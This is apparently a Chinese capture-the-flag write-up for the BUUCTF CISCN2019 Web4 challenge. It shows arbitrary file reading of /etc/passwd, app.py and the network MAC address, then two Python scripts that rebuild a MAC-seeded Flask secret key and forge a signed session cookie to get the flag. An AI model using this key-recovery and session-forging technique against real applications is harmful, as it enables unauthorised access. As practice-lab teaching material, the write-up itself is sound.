BUUCTF[CISCN2019 华东南赛区]Web4 wp

知识点:任意文件读取,代码审计,flask session伪造

进入页面

点击Read somethings后发现url参数,尝试ssrf无果后怀疑存在任意文件读取

 

尝试读取/etc/passwd,读取成功,并发现可疑文件/app

 

读取app.py,发现源码

 

 

审计源码后发现需要进行flask session伪造,当session[username]为fuck的时候即可获得flag。

 

往上审计,发现secret key是由mac地址做为随机数的种子生成的,所以可以进行伪造

 

读取/sys/class/net/eth0/address获得mac地址后编写脚本进行伪造session

伪造密钥脚本

import random
m="02:42:ae:00:de:bc"
mac=m.replace(":", "")
random.seed(int(mac,16))
key = str(random.random() * 233)
print(key)

 

伪造session脚本

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.config['SECRET_KEY'] = str(72.8923578256)
payload = {u'username': 'fuck'}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)
print(session)

运行脚本得到session后使用burp传输,获得flag

 

 

原文地址:https://www.cnblogs.com/Yhck/p/13625271.html